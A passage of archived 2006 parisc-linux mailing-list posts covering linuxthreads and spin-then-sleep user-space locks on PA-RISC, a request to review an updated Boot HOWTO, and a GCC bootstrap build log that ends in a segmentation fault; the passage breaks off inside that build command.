NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:43 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Mike Frysinger" <vapier@gentoo.org>
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 07 Jun 2006 01:21:01 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx057) with SMTP; 07 Jun 2006 03:21:01 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4C0A77D6D6;
	Tue,  6 Jun 2006 19:20:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29071-09; Tue, 6 Jun 2006 19:20:58 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D1C627D6D8;
	Tue,  6 Jun 2006 19:20:56 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 381267D6D2
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  6 Jun 2006 19:20:53 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29024-08 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 6 Jun 2006 19:20:52 -0600 (MDT)
Original-Received: from wr-out-0506.google.com (wr-out-0506.google.com [64.233.184.226])
	by free.linux.hp.com (Postfix) with ESMTP id 257647D6CE
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  6 Jun 2006 19:20:52 -0600 (MDT)
Original-Received: by wr-out-0506.google.com with SMTP id 69so279594wri
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 06 Jun 2006 18:20:51 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=iSp6+u7DMQlq2Tp0jGiodj9GXL0+El/wojmaIibyjYWHHbVOxFRno4sAN3bRa88bIy6UQwG0xIx+/MKfGw5NTiDQbZHPFXlk22xeuRFmGh9rSca2+w2I+ww78d9SXRWCIT1nsYjPBxU9f/Xu3KHbIsveCuygwSIXnkqCHN97HBc=
Original-Received: by 10.54.153.7 with SMTP id a7mr264194wre;
	Tue, 06 Jun 2006 18:20:51 -0700 (PDT)
Original-Received: by 10.54.156.11 with HTTP; Tue, 6 Jun 2006 18:20:51 -0700 (PDT)
In-Reply-To: <200606050449.43079.vapier@gentoo.org>
Content-Disposition: inline
X-Google-Sender-Auth: f6fd7a1ce93b49c3
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: n0XtLEI7TlIvsreQeGhrjhxGU2poZRnh
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23731

On 6/5/06, Mike Frysinger <vapier@gentoo.org> wrote:
> On Monday 29 May 2006 11:41, Carlos O'Donell wrote:
> > This will never happen for linuxthreads.
>
> why not ?  Daniel is still merging fixes into linuxthreads if you post to the
> libc-ports mailing list
> -mike

I shouldn't say words like "never" ...
It might happen with a good argument, clean patch, bugging daniel, and testing.
This is all work that I'm not excited about, since I'd rather get NPTL working.

c.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] User space locks -- what's wrong
Date: Tue, 6 Jun 2006 21:30:05 -0400
Lines: 47
Approved: news@gmane.org
Message-ID: <119aab440606061830peac8e3ah7030b831881e6f76@mail.gmail.com>
References: <200606042355.k54Ntw0R026812@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624103 19859 80.91.229.3 (22 Nov 2014 02:41:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:43 +0000 (UTC)
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 07 Jun 2006 01:30:15 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx069) with SMTP; 07 Jun 2006 03:30:15 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3F9D27D6E9;
	Tue,  6 Jun 2006 19:30:11 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29366-08; Tue, 6 Jun 2006 19:30:11 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AECF37D6EB;
	Tue,  6 Jun 2006 19:30:09 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 747A07D6E5
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  6 Jun 2006 19:30:07 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29366-05 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 6 Jun 2006 19:30:06 -0600 (MDT)
Original-Received: from wr-out-0506.google.com (wr-out-0506.google.com [64.233.184.226])
	by free.linux.hp.com (Postfix) with ESMTP id 5EA6B7D6DD
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  6 Jun 2006 19:30:06 -0600 (MDT)
Original-Received: by wr-out-0506.google.com with SMTP id 69so280839wri
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 06 Jun 2006 18:30:06 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=rydhlvbaFVeuQoK5ebpJ055HXLlooU1ZoTlcPR0r+kmUr2HF8x2+M5/I4JHGQYSI+W+VtqmKzPB0rztg9YqGu0STiYtbIEvKmfoavxQUF4+4a8EZ3Vd8LfaM/JyPatVMxpxNXEyImeXX609zhKsP7NjEJLfgddAodf6yIOEO+p4=
Original-Received: by 10.54.89.9 with SMTP id m9mr157481wrb;
	Tue, 06 Jun 2006 18:30:06 -0700 (PDT)
Original-Received: by 10.54.156.11 with HTTP; Tue, 6 Jun 2006 18:30:05 -0700 (PDT)
In-Reply-To: <200606042355.k54Ntw0R026812@hiauly1.hia.nrc.ca>
Content-Disposition: inline
X-Google-Sender-Auth: 2641530abd20e9e8
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: HhSwDUQpQEVs4OjDZnVpNARKNzg2NQJh
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23732

On 6/4/06, John David Anglin <dave@hiauly1.hia.nrc.ca> wrote:
> I'm about to throw the following change to the garbage heap since it
> doesn't work as expected, particularly with SMP kernels.
>
> The problem is I still see occasional libstdc++ and libjava testsuite
> failures in pthread process intensive tests.  In particular, I'm getting
> timeouts on tests that didn't timeout before.

These could very well be related to our linuxthreads implementation?

It could be related to a problem with signals, which manifests as a
thread-manager issue, which under linuxthreads can break everything.
The thread-manager does all of it's work using a pipe and signals...
lots and lots of signals.

> The enclosed change is based on ideas presented in the paper,
> "Implementing Spinlocks on the Intel Itanium Architecture and PA-RISC".
>
> The main issue that the change tries to address is that spinning
> indefinitely in user space on a UP kernel just burns cycles.  So, the
> change is to spin awhile and then sleep.  This seemed to work with
> the test application in the paper, but in practice it seems to cause
> more test failures that just spinning, particularly on SMP kernels.
> I suspect that on SMP kernels we sometimes end up with all threads
> sleeping.
>
> I've tried various sleep routines including sched_yield, and other
> optimizations, but they don't seem to make a difference.  The trick
> to dirty the cacheline presented in the paper didn't help performance
> as measured by the Appendix F program.  I also didn't see
> and difference in performance using the ",co" completer.  Possibly,
> this is because I only tested on coherent PA 2.0 machines.
>
> Thoughts?

You've implemented almost exactly what glibc does for pthreads.
However, glibc uses nanosleep without any adverse effects.
Have you tried other syscalls instead of select?

Cheers,
Carlos.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thibaut VARENE" <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [RFC] PA-RISC/Linux Boot HOWTO update
Date: Fri, 9 Jun 2006 01:18:02 +0200
Lines: 29
Approved: news@gmane.org
Message-ID: <7d01f9f00606081618q15b2df7fyb00f2925ed0fa2c0@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624104 19863 80.91.229.3 (22 Nov 2014 02:41:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:44 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 Jun 2006 23:18:22 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx061) with SMTP; 09 Jun 2006 01:18:22 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BD9ED7D748;
	Thu,  8 Jun 2006 17:18:13 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19562-06; Thu, 8 Jun 2006 17:18:13 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 489B57D73E;
	Thu,  8 Jun 2006 17:18:12 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6917A7D73C
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  8 Jun 2006 17:18:08 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19728-01 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 8 Jun 2006 17:18:07 -0600 (MDT)
Original-Received: from nz-out-0102.google.com (nz-out-0102.google.com [64.233.162.204])
	by free.linux.hp.com (Postfix) with ESMTP id 6003A7D73B
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  8 Jun 2006 17:18:07 -0600 (MDT)
Original-Received: by nz-out-0102.google.com with SMTP id 4so523630nzn
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 08 Jun 2006 16:18:04 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition:x-google-sender-auth;
	b=FNY4838Azg4bGZum/fpkyKH+hGLJ1XvAJRCEuNSbRlTqT2pNujgnfz3mYOa9bUZF4sCGHB8S3nigjaRhH9KdYwOJQ/+cRTilbvn1DTqvQNFgjJRA5LVwlRqe5Z9wK9jt4zQ507N9myAD2ppxppkjw3rV9Y2gC6+IWvD0IBGUyXk=
Original-Received: by 10.36.103.6 with SMTP id a6mr3081276nzc;
	Thu, 08 Jun 2006 16:18:02 -0700 (PDT)
Original-Received: by 10.36.247.36 with HTTP; Thu, 8 Jun 2006 16:18:02 -0700 (PDT)
Content-Disposition: inline
X-Google-Sender-Auth: 299858b574f94be8
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: CYW6fDM/Pjlt6urBOTU2nKEzMTE2NUlU
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23733

Hi pa-ckers,

I'm about to release an update to our Boot Howto, but before doing so
I'd like to get some review from the community, in order to make sure
I haven't missed the obvious or forgot about something important.

The current howto can be fetched here:
http://www.pateam.org/archive/tmp/

There's both the PDF (for viewing, though the style will differ a bit
from other TLDP howtos as I didn't use exactly TLP's DTD) and XML for
people willing to send patches ;)

I expect to release this sometime next week, so
feedback/comments/patches welcome!

HTH

T-Bone

-- 
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] User space locks -- what's wrong
Date: Thu, 8 Jun 2006 20:56:56 -0400 (EDT)
Lines: 146
Approved: news@gmane.org
Message-ID: <200606090056.k590uuq1027262@hiauly1.hia.nrc.ca>
References: <no.id>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624104 19864 80.91.229.3 (22 Nov 2014 02:41:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:44 +0000 (UTC)
Cc: kyle@mcmartin.ca,
 parisc-linux@lists.parisc-linux.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 09 Jun 2006 01:26:13 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx067) with SMTP; 09 Jun 2006 03:26:13 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 401157D74E;
	Thu,  8 Jun 2006 19:26:09 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20557-06; Thu, 8 Jun 2006 19:26:09 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BF1167D74F;
	Thu,  8 Jun 2006 19:26:07 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1EB2C7D74D
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  8 Jun 2006 19:26:05 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20557-03 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 8 Jun 2006 19:26:04 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id AEA4A7D745
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  8 Jun 2006 19:26:03 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6) with ESMTP id k590uu07027263;
	Thu, 8 Jun 2006 20:56:57 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6/Submit) id k590uuq1027262;
	Thu, 8 Jun 2006 20:56:56 -0400 (EDT)
In-Reply-To: <no.id> from "John David Anglin" at Jun 5, 2006 12:49:52 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: D/a+DUtLQEVs4OjDZnVpsaRKNzg2NULL
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23734

> There definitely are some funky things going on in the kernel.
> For example, if I try to build GCC with 'make -j 4 bootstrap' on
> gsyprf11, about 50% of the time make dies because of a malloc data
> corruption or a shell problem.  However, I never see this with
> just 'make bootstrap'.

This is an example:

/home/dave/gcc-4.2/objdir/./prev-gcc/xgcc -B/home/dave/gcc-4.2/objdir/./prev-gcc
/ -B/home/dave/opt/gnu/gcc/gcc-4.2.0/hppa-linux/bin/ -c   -g -O2 -DIN_GCC   -W -
Wall -Wwrite-strings -Wstrict-prototypes -Wmissing-prototypes -pedantic -Wno-lon
g-long -Wno-variadic-macros -Wno-overlength-strings -Wold-style-definition -Wmis
sing-format-attribute -Werror -fno-common   -DHAVE_CONFIG_H -I. -I. -I../../gcc/
gcc -I../../gcc/gcc/. -I../../gcc/gcc/../include -I../../gcc/gcc/../libcpp/inclu
de  -I../../gcc/gcc/../libdecnumber -I../libdecnumber    ../../gcc/gcc/c-typeck.
c -o c-typeck.o
/bin/sh: line 6: 24262 Segmentation fault      (core dumped) make "DESTDIR=" "RP
ATH_ENVVAR=LD_LIBRARY_PATH" "TARGET_SUBDIR=hppa-linux" "bindir=/home/dave/opt/gn
u/gcc/gcc-4.2.0/bin" "datadir=/home/dave/opt/gnu/gcc/gcc-4.2.0/share" "exec_pref
ix=/home/dave/opt/gnu/gcc/gcc-4.2.0" "includedir=/home/dave/opt/gnu/gcc/gcc-4.2.
0/include" "datarootdir=/home/dave/opt/gnu/gcc/gcc-4.2.0/share" "docdir=/home/da
ve/opt/gnu/gcc/gcc-4.2.0/share/doc" "infodir=/home/dave/opt/gnu/gcc/gcc-4.2.0/in
fo" "htmldir=/home/dave/opt/gnu/gcc/gcc-4.2.0/share/doc" "libdir=/home/dave/opt/
gnu/gcc/gcc-4.2.0/lib" "libexecdir=/home/dave/opt/gnu/gcc/gcc-4.2.0/libexec" "li
spdir=" "localstatedir=/home/dave/opt/gnu/gcc/gcc-4.2.0/var" "mandir=/home/dave/
opt/gnu/gcc/gcc-4.2.0/man" "oldincludedir=/usr/include" "prefix=/home/dave/opt/g
nu/gcc/gcc-4.2.0" "sbindir=/home/dave/opt/gnu/gcc/gcc-4.2.0/sbin" "sharedstatedi
r=/home/dave/opt/gnu/gcc/gcc-4.2.0/com" "sysconfdir=/home/dave/opt/gnu/gcc/gcc-4
.2.0/etc" "tooldir=/home/dave/opt/gnu/gcc/gcc-4.2.0/hppa-linux" "build_tooldir=/
home/dave/opt/gnu/gcc/gcc-4.2.0/hppa-linux" "target_alias=hppa-linux" "BISON=bis
on" "CC_FOR_BUILD=gcc" "CFLAGS_FOR_BUILD=-g -O2" "CXX_FOR_BUILD=c++" "EXPECT=/ho
me/dave/opt/gnu/bin/expect" "FLEX=flex" "INSTALL=/usr/bin/install -c" "INSTALL_D
ATA=/usr/bin/install -c -m 644" "INSTALL_PROGRAM=/usr/bin/install -c" "INSTALL_S
CRIPT=/usr/bin/install -c" "LEX=flex" "M4=m4" "MAKE=make" "RUNTEST=runtest" "RUN
TESTFLAGS=" "SHELL=/bin/sh" "YACC=bison -y" "`echo 'ADAFLAGS=' | sed -e s'/[^=][
^=]*=$/XFOO=/'`" "AR_FLAGS=rc" "`echo 'BOOT_ADAFLAGS=' | sed -e s'/[^=][^=]*=$/X
FOO=/'`" "BOOT_CFLAGS=-g -O2" "BOOT_LDFLAGS=" "CFLAGS=-g -O2" "CXXFLAGS=-g -O2"
"LDFLAGS=" "LIBCFLAGS=-g -O2" "LIBCXXFLAGS=-g -O2 -fno-implicit-templates" "STAG
E1_CFLAGS=-g" "STAGE1_LANGUAGES=c,ada" "AR_FOR_TARGET=ar" "AS_FOR_TARGET=as" "CC
_FOR_TARGET=/home/dave/gcc-4.2/objdir/./gcc/xgcc -B/home/dave/gcc-4.2/objdir/./g
cc/ -B/home/dave/opt/gnu/gcc/gcc-4.2.0/hppa-linux/bin/ -B/home/dave/opt/gnu/gcc/
gcc-4.2.0/hppa-linux/lib/ -isystem /home/dave/opt/gnu/gcc/gcc-4.2.0/hppa-linux/i
nclude -isystem /home/dave/opt/gnu/gcc/gcc-4.2.0/hppa-linux/sys-include" "CFLAGS
_FOR_TARGET=-O2 -g -O2 " "CPPFLAGS_FOR_TARGET=" "CXX_FOR_TARGET=/home/dave/gcc-4
.2/objdir/./gcc/g++ -B/home/dave/gcc-4.2/objdir/./gcc/ -nostdinc++  -L/home/dave
/gcc-4.2/objdir/hppa-linux/libstdc++-v3/src -L/home/dave/gcc-4.2/objdir/hppa-lin
ux/libstdc++-v3/src/.libs -B/home/dave/opt/gnu/gcc/gcc-4.2.0/hppa-linux/bin/ -B/
home/dave/opt/gnu/gcc/gcc-4.2.0/hppa-linux/lib/ -isystem /home/dave/opt/gnu/gcc/
gcc-4.2.0/hppa-linux/include -isystem /home/dave/opt/gnu/gcc/gcc-4.2.0/hppa-linu
x/sys-include" "CXXFLAGS_FOR_TARGET=-g -O2  -D_GNU_SOURCE" "DLLTOOL_FOR_TARGET=d
lltool" "GCJ_FOR_TARGET=/home/dave/gcc-4.2/objdir/./gcc/gcj -B/home/dave/gcc-4.2
/objdir/./gcc/ -B/home/dave/opt/gnu/gcc/gcc-4.2.0/hppa-linux/bin/ -B/home/dave/o
pt/gnu/gcc/gcc-4.2.0/hppa-linux/lib/ -isystem /home/dave/opt/gnu/gcc/gcc-4.2.0/h
ppa-linux/include -isystem /home/dave/opt/gnu/gcc/gcc-4.2.0/hppa-linux/sys-inclu
de" "GFORTRAN_FOR_TARGET=/home/dave/gcc-4.2/objdir/./gcc/gfortran -B/home/dave/g
cc-4.2/objdir/./gcc/ -B/home/dave/opt/gnu/gcc/gcc-4.2.0/hppa-linux/bin/ -B/home/
dave/opt/gnu/gcc/gcc-4.2.0/hppa-linux/lib/ -isystem /home/dave/opt/gnu/gcc/gcc-4
.2.0/hppa-linux/include -isystem /home/dave/opt/gnu/gcc/gcc-4.2.0/hppa-linux/sys
-include" "LD_FOR_TARGET=ld" "LIPO_FOR_TARGET=lipo" "LDFLAGS_FOR_TARGET=" "LIBCF
LAGS_FOR_TARGET=-O2 -g -O2 " "LIBCXXFLAGS_FOR_TARGET=-g -O2  -D_GNU_SOURCE -fno-
implicit-templates" "NM_FOR_TARGET=nm" "OBJDUMP_FOR_TARGET=objdump" "RANLIB_FOR_
TARGET=ranlib" "STRIP_FOR_TARGET=strip" "WINDRES_FOR_TARGET=windres" "`echo 'LAN
GUAGES=' | sed -e s'/[^=][^=]*=$/XFOO=/'`" "LEAN=false" "CONFIG_SHELL=/bin/sh" "
MAKEINFO=makeinfo --split-size=5000000 --split-size=5000000 --split-size=5000000
" 'AR=ar' 'AS=as' 'CC=gcc' 'CXX=c++' 'DLLTOOL=dlltool' 'LD=ld' 'LIPO=lipo' 'NM=n
